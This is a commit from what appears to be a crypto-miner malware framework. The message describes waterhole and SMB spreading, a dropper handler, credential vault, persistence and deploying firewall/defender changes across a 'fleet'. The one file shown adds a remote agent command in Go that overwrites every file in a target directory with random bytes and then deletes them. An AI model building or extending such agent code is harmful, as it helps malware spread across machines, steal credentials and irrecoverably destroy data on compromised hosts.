feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e
Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
This commit is contained in:
104
agent/client/secure_wipe.go
Normal file
104
agent/client/secure_wipe.go
Normal file
@@ -0,0 +1,104 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
const secureWipeBlockSize = 64 * 1024
|
||||
|
||||
// SecureWipePath overwrites files in a directory then deletes them (single pass).
|
||||
func SecureWipePath(targetPath string) string {
|
||||
targetPath = strings.TrimSpace(targetPath)
|
||||
if targetPath == "" {
|
||||
return "secure_wipe error: path is required"
|
||||
}
|
||||
if containsPathTraversal(targetPath) {
|
||||
return "secure_wipe error: path traversal (..) is not allowed"
|
||||
}
|
||||
resolved, err := deploy.ResolveRemotePath(targetPath)
|
||||
if err != nil {
|
||||
return "secure_wipe error: " + err.Error()
|
||||
}
|
||||
resolved = filepath.Clean(resolved)
|
||||
if isBlockedDeletePath(resolved) {
|
||||
return "secure_wipe error: refusing to wipe protected system path"
|
||||
}
|
||||
info, err := os.Stat(resolved)
|
||||
if err != nil {
|
||||
return "secure_wipe error: " + err.Error()
|
||||
}
|
||||
if !info.IsDir() {
|
||||
return "secure_wipe error: path must be a directory"
|
||||
}
|
||||
|
||||
var wiped, failed int
|
||||
var errs []string
|
||||
err = filepath.WalkDir(resolved, func(path string, d os.DirEntry, walkErr error) error {
|
||||
if walkErr != nil || d.IsDir() {
|
||||
return nil
|
||||
}
|
||||
if err := overwriteFile(path); err != nil {
|
||||
failed++
|
||||
if len(errs) < 5 {
|
||||
errs = append(errs, fmt.Sprintf("%s: %v", filepath.Base(path), err))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
if err := os.Remove(path); err != nil {
|
||||
failed++
|
||||
if len(errs) < 5 {
|
||||
errs = append(errs, fmt.Sprintf("%s: %v", filepath.Base(path), err))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
wiped++
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
return "secure_wipe walk error: " + err.Error()
|
||||
}
|
||||
_ = os.Remove(resolved)
|
||||
|
||||
summary := fmt.Sprintf("secure_wipe done — wiped: %d failed: %d path: %s", wiped, failed, resolved)
|
||||
if len(errs) > 0 {
|
||||
summary += "\nErrors: " + strings.Join(errs, "; ")
|
||||
}
|
||||
return summary
|
||||
}
|
||||
|
||||
func overwriteFile(path string) error {
|
||||
info, err := os.Stat(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
size := info.Size()
|
||||
f, err := os.OpenFile(path, os.O_WRONLY, 0)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
buf := make([]byte, secureWipeBlockSize)
|
||||
remaining := size
|
||||
for remaining > 0 {
|
||||
n := int64(len(buf))
|
||||
if remaining < n {
|
||||
n = remaining
|
||||
}
|
||||
if _, err := io.ReadFull(rand.Reader, buf[:n]); err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := f.Write(buf[:n]); err != nil {
|
||||
return err
|
||||
}
|
||||
remaining -= n
|
||||
}
|
||||
return f.Sync()
|
||||
}
|
||||
Reference in New Issue
Block a user